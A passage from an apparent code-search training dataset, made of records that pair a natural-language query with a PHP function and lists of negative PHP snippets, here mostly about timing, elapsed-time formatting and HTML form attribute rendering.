{\n\t\t\t$timechange .= 's';\n\t\t}\n\t}\n\n\tif ($timedifference >= 60 && $timedifference < 3600) {\n\t\t$num_mins = floor($timedifference / 60);\n\t\t$timechange = number_format($num_mins, 0) . ' minute';\n\t\tif ($num_mins > 1) {\n\t\t\t$timechange .= 's';\n\t\t}\n\t}\n\n\tif ($timedifference >= 3600) {\n\t\t$hours = floor($timedifference/3600);\n\t\t$mins = floor($timedifference % 3600) / 60;\n\n\t\t$timechange = number_format($hours, 0) . ' hour';\n\t\tif ($hours > 1) {\n\t\t\t$timechange .= 's';\n\t\t}\n\n\t\t$timechange .= ' and ' . number_format($mins, 0) . ' minute';\n\t\tif ($mins > 1) {\n\t\t\t$timechange .= 's';\n\t\t}\n\t}\n\treturn $timechange;\n}", "public function time()\n\t{\n\t\treturn $this->endTimer-$this->startTimer;\n\t}", "function now() {\n return microtime(true)*1000;\n}", "function getTimeDuration();", "function DisplayTimer( $html='' )\n {\n $format = '<p style=\"text-align:center\">Script runtime: %.5f %s</p>';\n if( !empty($html) ):\n $format = preg_replace( '/\\[dec=([0-9]+)\\]/i', '%.$1f %s', $html, 1 );\n endif;\n $time = $this->pCalcTime();\n $sec = ( ($time > 1) ? 'secs.' : 'sec.' );\n printf( $format.NL, $time, $sec );\n }", "function now(): float\n{\n return (float) \\hrtime(true) / 1_000_000_000;\n}", "function getHtmlTime(){\r\n\treturn('P&aacute;gina generada en <b>'.(time() - $_SERVER['REQUEST_TIME']) .'</b> segundos');\r\n}", "public function runtime()\n {\n return sprintf('%.5f', ($this->endTime-$this->startTime));\n }", "function process_time(){\n $time = number_format( microtime(true) - LIM_START_MICROTIME, 6);\n return($time);\n}", "function time_taken($tally=0, $precision=5) {\n static $start = 0; // first call\n static $notch = 0; // tally calls\n static $time = 0; // set to time of each call (after setting $duration)\n $now = microtime(1);\n if (! $start) { // init, basically\n $time = $notch = $start = $now;\n return \"Starting at $start.\\n\";\n }\n $duration = $now - $time;\n $time = $now;\n $out = \"That took \".round($duration, $precision).\" seconds.\";\n if ($tally) { // time passed since last tally\n $since_start = $now - $start;\n $since_last_notch = $now - $notch;\n $notch = $now;\n $out .= \"<br>\\n\". round($since_start, $precision) .' seconds since start'.($since_start!=$since_last_notch ? ' ('.round($since_last_notch, $precision) .' since last sum).':'.');\n }\n return $out.\"\\n\";\n}", "function tf_latency($message)\r\n {\r\n static $lastTime = 0;\r\n\r\n $currentTime = microtime(true);\r\n\r\n echo 'latency(';\r\n echo $lastTime == 0 ? '~' : $currentTime - $lastTime;\r\n echo ')(';\r\n echo htmlspecialchars($message, null, 'UTF-8');\r\n echo ')<br/>';\r\n\r\n $lastTime = $currentTime;\r\n }", "static function timeElapsed($timestamp)\n {\n $d1 = new DateTime($timestamp);\n $d2 = new DateTime();\n $interval = $d1->diff($d2);\n $totalDiff = abs(time() - strtotime($timestamp)); // diff in seconds\n if ($totalDiff < 60) return \"seconds ago\";\n if ($totalDiff >= 60 && $totalDiff < 3600) return $interval->i . \" minutes ago\";\n if ($totalDiff >= 3600 && $totalDiff < 86400) return $interval->h . \" hours ago\";\n if ($totalDiff >= 86400) return $interval->d . \" days ago\";\n }", "function getTime(){\n\t\t$mtime = microtime();//print(\"\\n time : \" . $mtime);\n\t\t$mtime = explode(' ', $mtime);\n\t\t$mtime = $mtime[1] + $mtime[0];\n\t\treturn $mtime;\n\t}", "public function getTimeDiff()\n {\n $start = ServiceUtil::getManager()->getArgument('debug.toolbar.panel.rendertime.start');\n $end = microtime(true);\n\n $diff = $end - $start;\n return $diff;\n }", "public static function timestamp() {\n return time(); \n }", "function timeSince ( $timestamp ) {\r\n\r\n\t$diff = time() - $timestamp;\r\n\r\n\tif ( $diff < 4000 ) {\r\n\t\t$diff = ceil ( $diff / 60 );\r\n\t\t$unit = \"minute\";\r\n\r\n\t} elseif ( $diff < 100000 ) {\r\n\t\t$diff = ceil ( $diff / 3600 );\r\n\t\t$unit = \"hour\";\r\n\r\n\t} else {\r\n\t\t$diff = ceil ( $diff / 86400 );\r\n\t\t$unit = \"day\";\r\n\t}\r\n\r\n\t$end = ( $diff <= 1 ) ? NULL : \"s\";\r\n\r\n\treturn \"$diff $unit$end ago\";\r\n\r\n}", "function computeFinalTime ()\n{\n\tglobal $startD, $stopD, $endD;\n\t\n\t$endD = $stopD[0] - $startD[0];\n\t$_SESSION['finishTime'] = $endD;\n}", "protected function getTimeDifference()\n {\n // Create temp file\n $localPath = tempnam(sys_get_temp_dir(), 'test');\n\n // Count time difference\n $diff = $this->writeTempFile($localPath);\n\n // Remove local temp file\n unlink($localPath);\n\n return $diff;\n }", "function etime($time_start){\n $time_end = microtime(true);\n $execution_time = ($time_end - $time_start);\n\n return number_format((float) $execution_time, 1);\n}", "function timeDiff($firstTime,$lastTime)\n {\n $firstTime=strtotime($firstTime);\n $lastTime=strtotime($lastTime);\n\n// perform subtraction to get the difference (in seconds) between times\n $timeDiff=$lastTime-$firstTime;\n\n return ($timeDiff);\n }", "function mstime ()\r\n{\r\n\t$t = explode (' ', microtime ());\r\n\treturn (int) (($t[0] + $t[1]) * 1000);\r\n}", "public function totalTimer() {\n return \"It took \" . $this->getTime() . \" seconds to run \" . $this->getName() . \" <br>\";\n }", "function log_message($message)\n{\n $total_message = date('[H:m:s] ') . $message . '<br />';\n echo $total_message;\n}", "public function getElapsedTime();", "function human_time_diff($from, $to = 0)\n {\n }", "function logTime($dir_root,$script_name,$begin,$end) {\n $file = fopen($dir_root . 'log/tempsChargement.log','a');\n $temps = $end - $begin;\n fputs($file,date('Y-m-d H:i:s') . \" - Chargement de la page '\". basename($script_name) . \"' en : $temps ms.\\n\"); \n fclose($file);\n}", "private static function time()\n {\n list($usec, $sec) = explode(\" \", microtime());\n return ((float)$usec + (float)$sec);\n }", "public function getTimePassed(): float\n {\n if ($this->started) {\n return microtime(true) - $this->start_time;\n } else {\n return $this->stop_time - $this->start_time;\n }\n }", "public function passedTicks() {\r\n\t\t$seconds = 300;\r\n\r\n\t\t$lastUpdate = (int)($this->lastUpdate() / $seconds);\r\n\t\t$now = (int)(TIME / $seconds);\r\n\r\n\t\treturn ($now - $lastUpdate);\r\n\t}", "protected function startTime()\n {\n return microtime(true);\n }", "function elapsed_time($start_time, $finish_time){\n\treturn sc_strtotime($finish_time) - sc_strtotime($start_time);\n}", "function microtime_diff($message, $start, $end = null)\n{\n if (!$end) {\n $end = microtime();\n }\n\n list($start_usec, $start_sec) = explode(\" \", $start);\n list($end_usec, $end_sec) = explode(\" \", $end);\n $diff_sec = intval($end_sec) - intval($start_sec);\n $diff_usec = floatval($end_usec) - floatval($start_usec);\n $value = floatval($diff_sec) + $diff_usec;\n echo $message . ' ' . $value;\n echo PHP_EOL . PHP_EOL;\n}", "public function getTime()\n {\n return (float)sprintf(\"%.1f\", 1000*(microtime(true) - $this->startTime));\n }", "function mdiff($date1, $date2){\r\n $diff = abs(strtotime($date1->format('d-m-Y H:i:s.u'))-strtotime($date2->format('d-m-Y H:i:s.u')));\r\n\r\n //Creates variables for the microseconds of date1 and date2\r\n $micro1 = $date1->format(\"u\");\r\n $micro2 = $date2->format(\"u\");\r\n\r\n //Difference between these micro seconds:\r\n $diffmicro = $micro1 - $micro2;\r\n\r\n list($sec,$micro) = explode('.',((($diff) * 1000000) + $diffmicro )/1000000);\r\n\r\n //Creates the variable that will hold the seconds (?):\r\n $difference = $sec . \".\" . str_pad($micro,6,'0');\r\n\r\n return $difference;\r\n }", "public static function uptime() {\n return sprintf ( '%.6f', microtime ( true ) - microtime(true) );\n }", "function time_since($since) {\n $chunks = array(\n array(60 * 60 * 24 * 365 , 'year'),\n array(60 * 60 * 24 * 30 , 'month'),\n array(60 * 60 * 24 * 7, 'week'),\n array(60 * 60 * 24 , 'day'),\n array(60 * 60 , 'hour'),\n array(60 , 'min'),\n array(1 , 'sec')\n );\n\n for ($i = 0, $j = count($chunks); $i < $j; $i++) {\n $seconds = $chunks[$i][0];\n $name = $chunks[$i][1];\n if (($count = floor($since / $seconds)) != 0) {\n break;\n }\n }\n\n $print = ($count == 1) ? '1 '.$name : \"$count {$name}s\";\n return $print;\n }", "static function ms(){\r\n $dm = memory_get_usage() - self::$startmem;\r\n return self::memformat($dm);\r\n }", "public function getTimeTaken(){\r\n return round($this->getEndTime() - $this->getStartTime(), 6);\r\n }", "public static function get_elapsed_time()\n {\n return microtime( true ) - $_SESSION['time']['script_start_time'];\n }", "public function startTime() {\n return intval($this['started']);\n }", "function bbTime( $print = true, $die = true ) {\n\t$time \t= round(microtime() - BB_START, 4);\n\t$stime\t= $time . 's.';\n\tif ($print === 2 && Configure::read('debug')) {\n\t\tdebug($stime); \n\t} elseif ($print) {\n\t\techo $stime;\n\t}\n\tif ($die) {\n\t\tdie();\n\t}\n\treturn $time;\n}", "public static function totalDuration()\n {\n return microtime(true) - static::initialTime();\n }", "function _get_time()\n{\n $_mtime = microtime();\n $_mtime = explode(\" \", $_mtime);\n\n return (double) ($_mtime[1]) + (double) ($_mtime[0]);\n}", "public function time() {\n return $this->info['total_time'];\n }", "function write_time_file($wait){\n\t\t$myFile= \"/home/hvn0220437/supercleaner.info/public_html/time.txt\";\n\t\t$fh = fopen($myFile, 'w+') or die(\"Cannot write time file\");\t\t\n\t\t$doneTime = date('d')*24*60*60+date('H')*60*60 + date('i')*60 + date('s');\n\t\t$newOutput = $doneTime.\"+\".$wait;\n\t\tfwrite($fh, $newOutput);\n\t\tfclose($fh);\n\t}", "public function getWaitTime()\n\t{\n\t\t$createTime = new DateTime($this->time_created);\n\t\t$startTime = new DateTime($this->time_started);\n\t\t$interval = $createTime->diff($startTime);\n\n\t\t$waitTime = ($interval->days * 24 * 3600) + ($interval->h * 3600) + ($interval->i * 60) + ($interval->s);\n\t\treturn $waitTime;\n\t}", "protected function getTime()\n {\n return microtime(true);\n }", "function timer(){\n static $start;\n\n if (is_null($start))\n {\n $start = microtime(true);\n }\n else\n {\n $diff = round((microtime(true) - $start), 4);\n $start = null;\n return $diff;\n }\n}", "function timeSince($since) {\n $chunks = array(\n array(60 * 60 * 24 * 365 , 'year'),\n array(60 * 60 * 24 * 30 , 'month'),\n array(60 * 60 * 24 * 7, 'week'),\n array(60 * 60 * 24 , 'day'),\n array(60 * 60 , 'hour'),\n array(60 , 'min'),\n array(1 , 'sec')\n );\n\n for ($i = 0, $j = count($chunks); $i < $j; $i++) {\n $seconds = $chunks[$i][0];\n $name = $chunks[$i][1];\n if (($count = floor($since / $seconds)) != 0) {\n break;\n }\n }\n\n $print = ($count == 1) ? '1 '.$name : \"$count {$name}s\";\n return $print;\n }", "private static function time_exec()\n {\n $current = self::time();\n self::$time_exec = $current-self::$time_start;\n }", "function Now($seconds_to_add=0);", "public function pretransfertime() {\n return $this->info['pretransfer_time'];\n }", "function getTimeProccess(){\n\t\treturn round($this->timeProccess,5);\n\t}", "public function duration()\n\t{\n\t\t$dif = $this->runEnd->difference( $this->runStart );\n\n\t\t$minutes = (int) $dif->getMinutes( true );\n\t\t$seconds = $dif->getSeconds( true );\n\n\t\t// Since $seconds includes the minutes, calc the extra\n\t\t$seconds = $seconds - ( $minutes * 60 );\n\n\t\treturn str_pad( (string) $minutes, 2, '0', STR_PAD_LEFT ) . ':' . str_pad( (string) $seconds, 2, '0', STR_PAD_LEFT );\n\t}", "protected static function _time()\n\t{\n\t\treturn time();\n\t}", "public static function timestamp() {}", "public static function timeSinceStart(): float\n {\n return \\microtime(true) - self::getRequestTime();\n }", "function prof_print()\n{\n global $prof_timing, $prof_names;\n $size = count($prof_timing);\n for ($i = 0; $i < $size - 1; $i++) {\n echo \"<b>{$prof_names[$i]}</b><br>\";\n echo sprintf(\"&nbsp;&nbsp;&nbsp;%f<br>\", $prof_timing[$i + 1] - $prof_timing[$i]);\n }\n echo \"<b>{$prof_names[$size - 1]}</b><br>\";\n}", "function timestamp(){\r\n\t\t$timestamp = round(microtime(1) * 1000);\r\n\r\n\t\treturn $timestamp;\r\n\t}", "public static function timestamp()\n {\n //$mt = microtime();\n list($mt, $tm) = explode(\" \", microtime());\n return sprintf(\"%d%03d\",$tm,(int)($mt*1000%1000));\n }", "public function execTimeStr()\n {\n $execTime = $this->execTime();\n\n if ($execTime >= 1) {\n return round($execTime, 1).'s';\n } else {\n return round($execTime * 1000, 2).'ms';\n }\n }", "public static function time() {\n if (is_null(self::$_time)) {\n self::$_time = microtime(true);\n } else {\n echo 'Time-Consumed:- ' . (microtime(true) - self::$_time) . PHP_EOL;\n }\n }", "function ago($time) {\n $timediff=time()-$time;\n $days=intval($timediff/86400);\n $remain=$timediff%86400;\n $hours=intval($remain/3600);\n $remain=$remain%3600;\n $mins=intval($remain/60);\n $secs=$remain%60;\n\n if ($secs>=0) $timestring = $secs.\"s\";//\"0m\".\n if ($mins>0) $timestring = $mins.\"m\";//.$secs.\"s\";\n if ($hours>0) $timestring = $hours.\"h\";//.$mins.\"m\";\n if ($days>0) $timestring = $days.\"d\";//.$hours.\"h\";\n\n return $timestring;\n}", "public function currentTime();", "public static function ms(): int\n {\n return round((static::elapsed() * 1000), 0);\n }", "function time_now() {\n return date(\"H:i:s\");\n}", "function subtract($time1, $time2)\n{\n\t$total=$time1-$time2;\n\treturn $total;\n}", "function timeElapsed($sec){\n\n if( $sec <= 1 ) 'Agora mesmo';\n\n $date = [ 'ano' => 31536000,\n 'mes' => 2592000,\n 'dia' => 86400,\n 'hora' => 3600,\n 'minuto' => 60,\n 'segundo' => 1];\n \n foreach( $date as $name => $time ){\n $qtde = $sec / $time;\n if( $qtde >= 1 ) return 'há ' . floor( $qtde ) . ' ' . $name . ($qtde > 2 ? 's' : '');\n }\n\n }", "function getTime() {\n list($usec, $sec) = explode(\" \", microtime());\n return ((float)$usec + (float)$sec);\n}", "protected function time()\n {\n $time = microtime();\n $time = explode(' ', $time);\n $time = $time[1] + $time[0];\n return $time;\n }", "function timeDiff($firstTime,$lastTime)\n{\n$firstTime=strtotime($firstTime);\n$lastTime=strtotime($lastTime);\n$timeDiff = ($lastTime-$firstTime)/86400;\nreturn $timeDiff;\n}", "function dateDiff($t1, $t2) {\r\n\t\t$t1 = strtotime($t1);\r\n\t\t$t2 = strtotime($t1);\r\n\t\t$delta_T = ($t2 - $t1);\r\n\t\t$day = round(($delta_T % 604800) / 86400); \r\n\t\t$hours = round((($delta_T % 604800) % 86400) / 3600); \r\n\t\t$minutes = round(((($delta_T % 604800) % 86400) % 3600) / 60); \r\n\t\t$sec = round((((($delta_T % 604800) % 86400) % 3600) % 60));\r\n\r\n\t\treturn \"$day days $hours hours $minutes minutes $sec secs\";\t \r\n }", "function write_time_output_file($wait){\n\t\t$myFile= \"/home/hvn0220437/supercleaner.info/public_html/output.txt\";\n\t\t$fh = fopen($myFile, 'a') or die(\"Cannot append output file\");\t\t\n\t\t$time = date('H:i:s');\n\t\t$newOutput = \"[ \".$time.\" ]\".\" Tạm dừng. Lần tiếp theo sau \".$wait.\" phút<br>\";\n\t\tfwrite($fh, $newOutput);\n\t\tfclose($fh);\n\t}", "public function calculateTime()\n {\n echo 'it takes 1h to get there.',\"\\n\";\n\n self::$traitStaticMember = 'changes conflict member\\'s initial value';\n }", "function tstotime($timestamp){\n return date(\"Y-m-d H:i:s\", $timestamp);\n}", "public function getCreatedAttribute() {\n $timestamp = strtotime($this->created_at);\t\n\t \n $strTime = array(\"second\", \"minute\", \"hour\", \"day\", \"month\", \"year\");\n $length = array(\"60\",\"60\",\"24\",\"30\",\"12\",\"10\");\n\n $currentTime = time();\n if($currentTime >= $timestamp) {\n $diff = time()- $timestamp;\n for($i = 0; $diff >= $length[$i] && $i < count($length)-1; $i++) {\n $diff = $diff / $length[$i];\n }\n\n $diff = round($diff);\n return $diff . \" \" . $strTime[$i] . \"(s) ago \";\n }\n }", "function timeLeft($target)\n{\n\t$return_value = \"\";\n\t$diff = $target['endTime']->diff($target['timeStamp']);\n\t$doPlural = function($nb,$str){return $nb>1?$str.'s':$str;}; // adds plurals\n\n\t$format = array();\n\tif($diff->y !== 0) {\n\t\t$format[] = \"%y \".$doPlural($diff->y, \"year\");\n\t}\n\tif($diff->m !== 0) {\n\t\t$format[] = \"%m \".$doPlural($diff->m, \"month\");\n\t}\n\tif($diff->d !== 0) {\n\t\t$format[] = \"%d \".$doPlural($diff->d, \"day\");\n\t}\n\tif($diff->h !== 0) {\n\t\t$format[] = \"%h \".$doPlural($diff->h, \"hour\");\n\t}\n\tif($diff->i !== 0) {\n\t\t$format[] = \"%i \".$doPlural($diff->i, \"minute\");\n\t}\n\tif($diff->s !== 0) {\n\t\tif(!count($format)) {\n\t\t\treturn \"less than a minute ago\";\n\t\t} else {\n\t\t\t$format[] = \"%s \".$doPlural($diff->s, \"second\");\n\t\t}\n\t}\n\n\t// Prepend 'since ' or whatever you like from the calling function\n\treturn $diff->format(implode (\" \",$format));\n\n}", "public function getLastCheckedtime()\n {\n\t\treturn $this->_getSess('checktime');\n }", "public function runtime ()\n {\n return time() - $this->_start_time;\n }", "function human_time($datefrom, $dateto = -1)\n{\n\t// Defaults and assume if 0 is passed in that its an error rather than the epoch\n\tif ( $datefrom <= 0 )\n\t\treturn \"A long time ago\";\n\t\t\n\tif ( $dateto == -1) { \n\t\t$dateto = time(); \n\t}\n\t\n\t// Calculate the difference in seconds betweeen the two timestamps\n\t$difference = $dateto - $datefrom;\n\t\n\t// If difference is less than 60 seconds use 'seconds'\n\tif ( $difference < 60 )\n\t{ \n\t\t$interval = \"s\"; \n\t}\n\t// If difference is between 60 seconds and 60 minutes use 'minutes'\n\telse if ( $difference >= 60 AND $difference < (60*60) )\n\t{\n\t\t$interval = \"n\"; \n\t}\n\t// If difference is between 1 hour and 24 hours use 'hours'\n\telse if ( $difference >= (60*60) AND $difference < (60*60*24) )\n\t{\n\t\t$interval = \"h\"; \n\t}\n\t// If difference is between 1 day and 7 days use 'days'\n\telse if ( $difference >= (60*60*24) AND $difference < (60*60*24*7) )\n\t{\n\t\t$interval = \"d\"; \n\t}\n\t// If difference is between 1 week and 30 days use 'weeks'\n\telse if ( $difference >= (60*60*24*7) AND $difference < (60*60*24*30) )\n\t{\n\t\t$interval = \"ww\";\n\t}\n\t// If difference is between 30 days and 365 days use 'months'\n\telse if ( $difference >= (60*60*24*30) AND $difference < (60*60*24*365) )\n\t{\n\t\t$interval = \"m\"; \n\t}\n\t// If difference is greater than or equal to 365 days use 'years'\n\telse if ( $difference >= (60*60*24*365) )\n\t{\n\t\t$interval = \"y\"; \n\t}\n\t\n\t// Based on the interval, determine the number of units between the two dates\n\t// If the $datediff returned is 1, be sure to return the singular\n\t// of the unit, e.g. 'day' rather 'days'\n\tswitch ($interval)\n\t{\n\t\tcase \"m\" :\n\t\t\t$months_difference = floor($difference / 60 / 60 / 24 / 29);\n\t\t\t\n\t\t\twhile(\n\t\t\t\tmktime(date(\"H\", $datefrom), date(\"i\", $datefrom),\n\t\t\t\tdate(\"s\", $datefrom), date(\"n\", $datefrom)+($months_difference),\n\t\t\t\tdate(\"j\", $dateto), date(\"Y\", $datefrom)) < $dateto)\n\t\t\t{\n\t\t\t\t$months_difference++;\n\t\t\t}\n\t\t\t$datediff = $months_difference;\n\t\n\t\t\t// We need this in here because it is possible to have an 'm' interval and a months\n\t\t\t// difference of 12 because we are using 29 days in a month\n\t\t\tif ( $datediff == 12 )\n\t\t\t{ \n\t\t\t\t$datediff--; \n\t\t\t}\n\t\n\t\t\t$res = ($datediff==1) ? \"$datediff month ago\" : \"$datediff months ago\";\n\t\t\t\n\t\t\tbreak;\n\t\n\t\tcase \"y\" :\n\t\t\t$datediff = floor($difference / 60 / 60 / 24 / 365);\n\t\t\t$res = ($datediff==1) ? \"$datediff year ago\" : \"$datediff years ago\";\n\n\t\t\tbreak;\n\t\n\t\tcase \"d\" :\n\t\t\t$datediff = floor($difference / 60 / 60 / 24);\n\t\t\t$res = ($datediff==1) ? \"$datediff day ago\" : \"$datediff days ago\";\n\t\t\t\n\t\t\tbreak;\n\t\n\t\tcase \"ww\" :\n\t\t\t$datediff = floor($difference / 60 / 60 / 24 / 7);\n\t\t\t$res = ($datediff==1) ? \"$datediff week ago\" : \"$datediff weeks ago\";\n\n\t\t\tbreak;\n\t\n\t\tcase \"h\" :\n\t\t\t$datediff = floor($difference / 60 / 60);\n\t\t\t$res = ($datediff==1) ? \"$datediff hour ago\" : \"$datediff hours ago\";\n\n\t\t\tbreak;\n\t\n\t\tcase \"n\" :\n\t\t\t$datediff = floor($difference / 60);\n\t\t\t$res = ($datediff==1) ? \"$datediff minute ago\" : \"$datediff minutes ago\";\n\t\n\t\t\tbreak;\n\t\n\t\tcase \"s\":\n\t\t\t$datediff = $difference;\n\t\t\t$res = ($datediff==1) ? \"$datediff second ago\" : \"$datediff seconds ago\";\n\t\t\t\n\t\t\tbreak;\n\t}\n\n\treturn $res;\n}", "static public function get_time() {\n // By Zach Buller ([email protected])\n $time1 = \\microtime();\n \\settype($time1, 'string'); //convert to string to keep trailing zeroes\n $time2 = explode(\" \", $time1);\n $sub_secs = \\preg_replace('/0./', '', $time2[0], 1);\n $time3 = ($time2[1].$sub_secs)/100;\n return $time3;\n }", "function getsystime() {\n\n return date('Y-m-d H:i:s');\n\n}", "function ajan_core_print_generation_time() {\n?>\n\n<!-- Generated in <?php timer_stop(1); ?> seconds. (<?php echo get_num_queries(); ?> q) -->\n\n\t<?php\n}", "function timequery() {\n static $querytime_begin;\n list($usec, $sec) = explode(' ', microtime());\n\n if (!isset($querytime_begin)) {\n $querytime_begin = ((float) $usec + (float) $sec);\n } else {\n $querytime = (((float) $usec + (float) $sec)) - $querytime_begin;\n echo sprintf('<br />La consulta tardó %01.5f segundos.- <br />', $querytime);\n }\n}", "public function test_elapsed_time() {\n\t\t$this->assertInternalType( 'string', locomotive_time_ago( 1472852621 ) );\n\t}", "public function get_exec_time()\n\t\t{\n\t\t\treturn $this->stop_time - $this->start_time;\n\t\t}", "public function getTotalTime()\n {\n return 0; //@todo\n }", "function Duration($s){\n$timestamp = strtotime(\"now\") - $s;\n\n/* Cleaver Maths! */\n$years=floor($timestamp/(60*60*24*365));$timestamp%=60*60*24*365;\n$months=floor($timestamp/(60*60*24*30));\n/* Display for date, can be modified more to take the S off */\nif ($years >= 1) { $str.= $years; }\nif ($months >= 1) { //$str.= $months.'M'; \n}\nreturn $str;\n\n}", "public function getExecutionTime()\n {\n return $this->took;\n }", "function getDuration(){\r\n\t$bytes = 30;\r\n\r\n\t$fp = fopen('./out', 'r');\r\n\tfseek($fp, $bytes * -1, SEEK_END); \r\n\t$data = fgets($fp, $bytes);\r\n\t\r\n\t\t\r\n\t$matches = [];\r\n\t$regex = '/-[0-9]{2}:.*$/';\r\n\t$result = preg_match($regex, $data, $matches);\r\n\t\r\n\tif($result === 1){\r\n\t\t$matches[0];\r\n\t\tlist($remaining, $total) = explode('/', $matches[0], 2);\r\n\t\t$remaining = ltrim ($remaining, '-');\r\n\t\t\r\n\t\tlist($remMins, $remSecs) = explode(':', $remaining, 2);\r\n\t\t$thing[] = intval($remMins) * 60 + $remSecs;\r\n\t\t\r\n\t\tlist($totMins, $totSecs) = explode(':', $total, 2);\r\n\t\t$thing[] = intval($totMins) * 60 + $totSecs;\r\n\t\t\r\n\t\treturn $thing;\r\n\t}else{\r\n\t\treturn [0, 0];\r\n\t}\r\n\t\r\n}", "private function getRealFinishedTimestamp()\n {\n return RealCharger :: transactionInfo( $this -> charger_transaction_id ) -> transStop / 1000;\n }", "public function get_time_created(){\n\t\treturn $this->time_created;\n\t}" ]
[ "0.6148097", "0.6003378", "0.59160995", "0.588017", "0.5863196", "0.5834379", "0.58341795", "0.58156365", "0.5800747", "0.5798392", "0.57896733", "0.57697517", "0.57461727", "0.5727934", "0.57128894", "0.5692248", "0.5679417", "0.5675983", "0.5663957", "0.5657864", "0.5636893", "0.5633416", "0.5625564", "0.5624264", "0.5599596", "0.5596086", "0.5588573", "0.5587684", "0.5553467", "0.55247957", "0.55199695", "0.55165845", "0.5515412", "0.54979986", "0.54859346", "0.5485512", "0.5483447", "0.5482478", "0.5481928", "0.54744774", "0.54718876", "0.54623836", "0.54504836", "0.54462194", "0.5443502", "0.54393274", "0.54362535", "0.54349357", "0.54310846", "0.54280406", "0.54215723", "0.541937", "0.5411857", "0.5397955", "0.5390309", "0.5379286", "0.53765655", "0.5371134", "0.5367316", "0.53495336", "0.53441566", "0.53383815", "0.5337412", "0.5337042", "0.53336346", "0.53334975", "0.53330296", "0.53299356", "0.5329216", "0.5328656", "0.5324418", "0.5324131", "0.5323952", "0.5323368", "0.5319234", "0.5318706", "0.53178245", "0.5317403", "0.5314011", "0.53058535", "0.530288", "0.53012514", "0.53001404", "0.52964586", "0.5294857", "0.5293972", "0.5292718", "0.5288347", "0.52835083", "0.52817714", "0.52811646", "0.527708", "0.5275573", "0.5274158", "0.5273496", "0.5272614", "0.5271376", "0.52675635", "0.5265601", "0.52640605", "0.5263211" ]
0.0
-1
Elements that can user can create. Reference salusClasses google doc
function printAttributes( $element ) { $NCardinalityDictionary = array("Species","Phase","Factor","Cultivar","PhotSynType","Point", "Crop_Par","Fert_Par","Irr_Par","Residue_Par","Till_Par", "C)2_Trend_XY","Soil_Bio_Kinectic_Par","Stations", "Storm_Intensity","Hourly_Rainfall","Soil","Layer", "Experiment","Rotation_Components","Component", "Mgt_Chemical_App","Mgt_EncMod_App","Mgt_Harvest_App", "Mgt_Tillage_App","Mgt_Fertilizer_App","Mgt_Residu_App", "Mgt_Irrigation_App"); $name = $element->getName(); //echo "<table class='attributeTable' type='attributeTable' name='$name' border=1><tr>"; echo "<div class='attributes'>"; //If version make readonly if( $name == "Version") { foreach($element->attributes() as $a => $b) { echo "<div class='attribute' id='$a'><b>$a</b><br /><input type='text' value='$b' readonly></input></div>"; } } else { if( in_array($name,$NCardinalityDictionary) ) { echo "<button onClick='newTab( $(this).parent() )'>New " . $name . "</button>"; echo "<button onClick='clearValues( $(this).parent() )'>Clear Values</button><br />"; } foreach($element->attributes() as $a => $b) { echo "<div class='attribute' id='$a'><b>$a</b><br /><input type='text' value='$b'></input></div>"; } } echo "</div><br />"; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function OnCreateElements() {}", "protected function OnCreateElements() {}", "protected function addElements() \n {\n \n // Add \"usuario\" field\n $this->add([ \n 'type' => 'text',\n 'name' => 'nombre',\n 'options' => [\n 'label' => 'Usuario Adicional',\n ],\n ]);\n \n \n // Add \"telefono\" field\n $this->add([ \n 'type' => 'text',\n 'name' => 'telefono',\n 'options' => [\n 'label' => 'Teléfono',\n ],\n ]);\n \n // Add \"email\" field\n $this->add([ \n 'type' => 'text',\n 'name' => 'email',\n 'options' => [\n 'label' => 'Mail',\n ],\n ]);\n \n // Add \"usuario\" field\n $this->add([ \n 'type' => 'text',\n 'name' => 'skype',\n 'options' => [\n 'label' => 'Skype',\n ],\n ]);\n \n // Add \"id\" field\n $this->add([ \n 'type' => 'text',\n 'name' => 'id',\n 'options' => [\n 'label' => 'id',\n ],\n ]);\n \n \n // Add the Submit button\n $this->add([\n 'type' => 'submit',\n 'name' => 'submit',\n 'attributes' => [\n 'value' => 'Create'\n ],\n ]);\n\n }", "private function addElements()\n {\n $author = (new Text())\n ->setName('author')\n ->setLabel('Author')\n ->setAttribute('id', 'author');\n $this->add($author);\n\n $comment = (new Textarea())\n ->setName('comment')\n ->setLabel('Content')\n ->setAttribute('id', 'comment');\n $this->add($comment);\n\n $submit = (new Submit())\n ->setName('submit')\n ->setAttribute('value', 'Save')\n ->setAttribute('id', 'submitButton');\n $this->add($submit);\n }", "protected function addElements() \n {\n // Add \"email\" field\n $this->add([ \n 'type' => 'text',\n 'name' => 'title',\n 'options' => [\n 'label' => 'Title',\n ],\n ]);\n \n // Add \"parent_id\" field\n $this->add([ \n 'type' => 'text',\n 'name' => 'parent_id', \n 'options' => [\n 'label' => 'Full Name',\n ],\n ]);\n \n if ($this->scenario == 'create') {\n \n\n }\n \n // Add \"status\" field\n $this->add([ \n 'type' => 'select',\n 'name' => 'status',\n 'options' => [\n 'label' => 'Status',\n 'value_options' => [\n 1 => 'Active',\n 2 => 'Retired', \n ]\n ],\n ]);\n \n // Add the Submit button\n $this->add([\n 'type' => 'submit',\n 'name' => 'submit',\n 'attributes' => [ \n 'value' => 'Create'\n ],\n ]);\n }", "public function prepareElements()\n\t{\n\t\t// or a specification, from which the appropriate object\n\t\t// will be built.\n\n $this->add(array(\n 'name' => 'email',\n 'options' => array(\n 'label' => 'E-mail',\n ),\n 'attributes' => array(\n 'type' => 'text',\n \t'autocomplete' => 'off',\n ),\n ));\n\n $this->add(array(\n 'name' => 'password',\n 'options' => array(\n 'label' => 'Password',\n ),\n 'attributes' => array(\n 'type' => 'text',\n 'autocomplete' => 'off',\n ),\n ));\n\n $this->add(array(\n 'name' => 'role',\n 'options' => array(\n 'label' => 'Role',\n\n ),\n \t'type' => 'Select',\n \t'attributes' => array(\n \t\t'options' => array(\n \t\t\t'test' => 'Hi, Im a test!',\n \t\t\t'Foo' => 'Bar',\n \t\t),\n \t),\n ));\n\n $this->add(array(\n 'name' => 'submit',\n 'attributes' => array(\n 'value' => 'Save new user',\n 'type' => 'submit'\n ),\n ));\n\n\t\t// We could also define the input filter here, or\n\t\t// lazy-create it in the getInputFilter() method.\n\t}", "public function actionCreateElement($class)\n {\n\t\t$classFullName = 'frontend\\\\modules\\\\catalog\\\\models\\\\' . $class;\n\t\t$model = new $classFullName();\n\t\t\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['index-elements', 'id' => $model->id]);\n }\n\n return $this->render('createElement', [\n 'model' => $model,\n\t\t\t'class' => $class\n 